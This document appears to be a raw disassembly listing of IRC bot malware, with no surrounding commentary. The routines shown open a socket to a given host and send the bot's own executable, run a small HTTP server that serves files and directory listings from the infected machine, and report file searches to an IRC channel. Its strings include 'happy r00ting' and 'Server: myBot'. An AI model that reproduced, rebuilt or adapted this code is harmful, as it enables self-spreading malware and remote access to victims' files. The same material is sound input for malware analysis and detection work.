loc_40FC4D: ; CODE XREF: sub_40F6A7+504j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40FC76
; ---------------------------------------------------------------------------
loc_40FC57: ; CODE XREF: sub_40F6A7+4E2j
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40FC79
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40FC76: ; CODE XREF: sub_40F6A7+262j
; sub_40F6A7+286j ...
push edi
call ebx ; send
loc_40FC79: ; CODE XREF: sub_40F6A7+3B6j
; sub_40F6A7+53Dj ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BC00
add esp, 0Ch
loc_40FC8B: ; CODE XREF: sub_40F6A7+14Fj
; sub_40F6A7+178j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F7C4
jmp loc_40F78B
; ---------------------------------------------------------------------------
loc_40FC9D: ; CODE XREF: sub_40F6A7+10Fj
xor eax, eax
inc eax
loc_40FCA0: ; CODE XREF: sub_40F6A7+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F6A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FCA7 proc near ; CODE XREF: sub_40F6A7+4FAp
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4281F0 ; WSAStartup
push 0
push 1
push 2
call dword_42821C ; socket
push [ebp+arg_0]
mov dword_4D103C, eax
mov [ebp+var_10], 2
call dword_428208 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_42820C ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4D103C
call dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40FD1F
push dword_4D103C
call dword_428218 ; closesocket
call dword_4281EC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FD1F: ; CODE XREF: sub_40FCA7+60j
xor eax, eax
inc eax
leave
retn
sub_40FCA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD24 proc near ; CODE XREF: sub_40F6A7:loc_40FBDCp
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_428078 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_42A068
push eax
call sub_41BB32
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FDBB
test byte ptr [esi+0Ch], 10h
jnz short loc_40FD9F
push edi
mov edi, 400h
loc_40FD67: ; CODE XREF: sub_40FD24+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41B78A
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4D103C
call dword_428220 ; send
push 1
call dword_428080 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40FD67
pop edi
loc_40FD9F: ; CODE XREF: sub_40FD24+3Bj
push esi
call sub_41B6CB
pop ecx
push dword_4D103C
call dword_428218 ; closesocket
call dword_4281EC ; WSACleanup
xor eax, eax
inc eax
loc_40FDBB: ; CODE XREF: sub_40FD24+35j
pop esi
leave
retn
sub_40FD24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FDBE proc near ; DATA XREF: sub_401AA1+21D6o
; sub_40BC0C+46Co
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_41BC00
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CE308 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CE388 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_410184
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_441254[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CE334 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410184
push 7FFFFFFFh
push edi
call dword_4CE330 ; listen
cmp eax, 0FFFFFFFFh
jz loc_410184
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CE3A4 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_410184
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_40FE95: ; CODE XREF: sub_40FDBE+3BCj
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CE2F0 ; select
cmp eax, 0FFFFFFFFh
jz loc_41017F
xor edi, edi
mov [ebp+arg_0], edi
loc_40FECB: ; CODE XREF: sub_40FDBE+3B6j
lea eax, [ebp+var_6F0]
push eax
push edi
call dword_4CE1F4 ; __WSAFDIsSet
test eax, eax
jz loc_41016A
cmp edi, [ebp+var_8]
jnz short loc_40FF4C
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_4CE39C ; accept
cmp eax, 0FFFFFFFFh
jz loc_41016A
xor ecx, ecx
test ebx, ebx
jbe short loc_40FF1E
loc_40FF10: ; CODE XREF: sub_40FDBE+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_40FF1E
inc ecx
cmp ecx, ebx
jb short loc_40FF10
loc_40FF1E: ; CODE XREF: sub_40FDBE+150j
; sub_40FDBE+159j
cmp ecx, ebx
jnz short loc_40FF3B
cmp ebx, 40h
jnb short loc_40FF3B
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_40FF3B: ; CODE XREF: sub_40FDBE+162j
; sub_40FDBE+167j
cmp eax, [ebp+var_4]
jbe loc_41016A
mov [ebp+var_4], eax
jmp loc_41016A
; ---------------------------------------------------------------------------
loc_40FF4C: ; CODE XREF: sub_40FDBE+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_41BC00
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BC00
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call dword_4CE320 ; recv
test eax, eax
jg short loc_40FFD3
push edi
call dword_4CE3A0 ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_41016A
loc_40FF98: ; CODE XREF: sub_40FDBE+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_40FFC0
inc eax
cmp eax, ebx
jb short loc_40FF98
jmp loc_41016A
; ---------------------------------------------------------------------------
loc_40FFAB: ; CODE XREF: sub_40FDBE+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40FFC0: ; CODE XREF: sub_40FDBE+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40FFAB
dec ebx
mov [ebp+var_128], ebx
jmp loc_41016A
; ---------------------------------------------------------------------------
loc_40FFD3: ; CODE XREF: sub_40FDBE+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BC00
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_41B650
add esp, 10h
test eax, eax
jbe loc_41016A
loc_410000: ; CODE XREF: sub_40FDBE+2F9j
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_4100A6
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41BF70
pop ecx
test eax, eax
pop ecx
jz short loc_410076
lea eax, [ebp+var_18F0]
push eax
call sub_41B650
cmp eax, 5
pop ecx
jbe short loc_410076
mov eax, offset asc_42F5E8 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41BF70
pop ecx
pop ecx
push eax
call sub_41BF70
pop ecx
pop ecx
push eax
call sub_41C764
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C520
add esp, 10h
jmp short loc_41008D
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FDBE+26Ej
; sub_40FDBE+280j
lea eax, [ebp+var_18F0]
push offset asc_436F68 ; "\r\n"
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_4100C2
loc_41008D: ; CODE XREF: sub_40FDBE+2B6j
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BC00
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_4100A6: ; CODE XREF: sub_40FDBE+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_41B650
cmp edi, eax
pop ecx
jb loc_410000
jmp loc_41016A
; ---------------------------------------------------------------------------
loc_4100C2: ; CODE XREF: sub_40FDBE+2CDj
xor eax, eax
test ebx, ebx
jbe short loc_4100FE
loc_4100C8: ; CODE XREF: sub_40FDBE+319j
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_4100F0
inc eax
cmp eax, ebx
jb short loc_4100C8
jmp short loc_4100FE
; ---------------------------------------------------------------------------
loc_4100DB: ; CODE XREF: sub_40FDBE+337j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_4100F0: ; CODE XREF: sub_40FDBE+314j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_4100DB
dec ebx
mov [ebp+var_128], ebx
loc_4100FE: ; CODE XREF: sub_40FDBE+308j
; sub_40FDBE+31Bj
lea eax, [ebp+var_360]
push eax
call sub_41B650
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B650
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_410161
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_4CE3A4 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_410370
add esp, 14h
jmp short loc_41016A
; ---------------------------------------------------------------------------
loc_410161: ; CODE XREF: sub_40FDBE+364j
push [ebp+arg_0]
call dword_4CE3A0 ; closesocket
loc_41016A: ; CODE XREF: sub_40FDBE+11Dj
; sub_40FDBE+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_40FECB
jmp loc_40FE95
; ---------------------------------------------------------------------------
loc_41017F: ; CODE XREF: sub_40FDBE+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_410184: ; CODE XREF: sub_40FDBE+6Aj
; sub_40FDBE+92j ...
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_436F2C
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_4101CA
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409743
add esp, 14h
loc_4101CA: ; CODE XREF: sub_40FDBE+3E7j
lea eax, [ebp+var_8F0]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_254]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FDBE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101F4 proc near ; DATA XREF: sub_410370+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C190
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41BEF6
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41BEF6
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_41025F
push offset aTextHtml ; "text/html"
jmp short loc_410264
; ---------------------------------------------------------------------------
loc_41025F: ; CODE XREF: sub_4101F4+62j
push offset aApplicationOct ; "application/octet-stream"
loc_410264: ; CODE XREF: sub_4101F4+69j
push eax
call sub_41BEF6
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_428114 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_428110 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_4102D7
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41BEF6
add esp, 24h
jmp short loc_4102F2
; ---------------------------------------------------------------------------
loc_4102D7: ; CODE XREF: sub_4101F4+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41BEF6
add esp, 28h
loc_4102F2: ; CODE XREF: sub_4101F4+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CE358 ; send
cmp [ebp+var_A4], edi
jnz short loc_410332
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_410CA0
pop ecx
pop ecx
jmp short loc_41034F
; ---------------------------------------------------------------------------
loc_410332: ; CODE XREF: sub_4101F4+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41061F
add esp, 10h
loc_41034F: ; CODE XREF: sub_4101F4+13Cj
push [ebp+var_44C]
call dword_4CE3A0 ; closesocket
push [ebp+var_B4]
call sub_40B56A
pop ecx
push edi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_4101F4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410370 proc near ; CODE XREF: sub_40FDBE+399p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BC00
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_4103A6
push offset aS_5 ; "\\%s"
jmp short loc_4103AE
; ---------------------------------------------------------------------------
loc_4103A6: ; CODE XREF: sub_410370+2Dj
mov byte ptr [eax], 5Ch
push offset aS_2 ; "%s"
loc_4103AE: ; CODE XREF: sub_410370+34j
lea eax, [ebp+var_10C]
push eax
call sub_41BEF6
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B650
test eax, eax
pop ecx
jbe short loc_410449
mov [ebp+arg_8], 2
loc_4103D9: ; CODE XREF: sub_410370+D7j
lea eax, [ebp+var_10C]
push eax
call sub_41B650
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_410419
cmp [ebp+esi+var_10C], 25h
jnz short loc_410419
cmp [ebp+esi+var_10B], 32h
jnz short loc_410419
cmp [ebp+esi+var_10A], 30h
jnz short loc_410419
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410433
; ---------------------------------------------------------------------------
loc_410419: ; CODE XREF: sub_410370+79j
; sub_410370+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_410429
push 5Ch
pop eax
jmp short loc_41042C
; ---------------------------------------------------------------------------
loc_410429: ; CODE XREF: sub_410370+B2j
movsx eax, al
loc_41042C: ; CODE XREF: sub_410370+B7j
mov [ebp+ebx+var_210], al
loc_410433: ; CODE XREF: sub_410370+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B650
cmp esi, eax
pop ecx
jb short loc_4103D9
loc_410449: ; CODE XREF: sub_410370+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_42B478
push eax
call sub_41BEF6
lea eax, [ebp+var_314]
push offset asc_42BDD8 ; "\n"
push eax
call sub_41C764
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_4280A0 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_410497
cmp eax, 0FFFFFFFFh
jnz short loc_41049A
push [ebp+arg_0]
jmp short loc_410516
; ---------------------------------------------------------------------------
loc_410497: ; CODE XREF: sub_410370+11Bj
mov [ebp+var_4], esi
loc_41049A: ; CODE XREF: sub_410370+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4104A7
mov [ebp+var_4], esi
loc_4104A7: ; CODE XREF: sub_410370+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_410521
cmp [ebp+arg_C], edi
jz short loc_410515
lea eax, [ebp+var_314]
push offset asc_43721C ; "*"
push eax
call sub_41C530
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41BEF6
lea eax, [ebp+var_210]
push eax
call sub_410D5D
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41BEF6
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_410570
; ---------------------------------------------------------------------------
loc_410515: ; CODE XREF: sub_410370+14Ej
push ebx
loc_410516: ; CODE XREF: sub_410370+125j
call dword_4CE3A0 ; closesocket
jmp loc_410606
; ---------------------------------------------------------------------------
loc_410521: ; CODE XREF: sub_410370+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_4280F8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_410570
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41BEF6
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_428118 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_428070 ; CloseHandle
loc_410570: ; CODE XREF: sub_410370+1A3j
; sub_410370+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_4371D8
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B254
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_44124C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_4101F4
push edi
push edi
call dword_428084 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_44125C[ecx], eax
jnz short loc_410615
push ebx
call dword_4CE3A0 ; closesocket
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_437190
push eax
call sub_41BEF6
lea eax, [ebp+var_8C4]
push eax
call sub_415F45
add esp, 10h
loc_410606: ; CODE XREF: sub_410370+1ACj
; sub_410370+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41060D: ; CODE XREF: sub_410370+2ABj
push 5
call dword_428080 ; Sleep
loc_410615: ; CODE XREF: sub_410370+266j
cmp [ebp+var_318], edi
jz short loc_41060D
jmp short loc_410606
sub_410370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41061F proc near ; CODE XREF: sub_401AA1+7555p
; sub_4101F4+153p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BC00
mov edi, [ebp+arg_0]
push offset asc_42BDD8 ; "\n"
push edi
call sub_41C764
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_41067E
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41BFF0
add esp, 14h
jmp loc_41077A
; ---------------------------------------------------------------------------
loc_41067E: ; CODE XREF: sub_41061F+3Bj
cmp [ebp+arg_C], ebx
jz loc_410760
call sub_41B650
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
push edi
call sub_41B650
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 0Ch
jmp short loc_41077A
; ---------------------------------------------------------------------------
loc_410760: ; CODE XREF: sub_41061F+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 10h
loc_41077A: ; CODE XREF: sub_41061F+5Aj
; sub_41061F+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
cmp [ebp+arg_C], ebx
jz short loc_410812
push [ebp+arg_C]
call sub_41B650
cmp eax, 2
pop ecx
jbe short loc_410812
push [ebp+arg_C]
call sub_41B650
sub eax, 3
pop ecx
jz short loc_4107C6
loc_4107BA: ; CODE XREF: sub_41061F+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4107C6
dec eax
jnz short loc_4107BA
loc_4107C6: ; CODE XREF: sub_41061F+199j
; sub_41061F+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BC60
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BFF0
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CE358 ; send
loc_410812: ; CODE XREF: sub_41061F+17Dj
; sub_41061F+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call dword_428128 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_428124 ; FindNextFileA
test eax, eax
jz loc_410C09
mov edi, 1FFh
loc_41083E: ; CODE XREF: sub_41061F+5E4j
cmp [ebp+var_388], ebx
jz loc_410BF1
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_410BF1
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_410BF1
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_428000 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_428120 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja loc_41093B
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_4108BA: ; CODE XREF: sub_41061F+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41BEF6
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_410A72
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410946
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41BFF0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41BFF0
add esp, 28h
jmp loc_410BC2
; ---------------------------------------------------------------------------
loc_41093B: ; CODE XREF: sub_41061F+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_4108BA
; ---------------------------------------------------------------------------
loc_410946: ; CODE XREF: sub_41061F+2D5j
cmp [ebp+arg_C], ebx
jz loc_410A30
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41BFF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
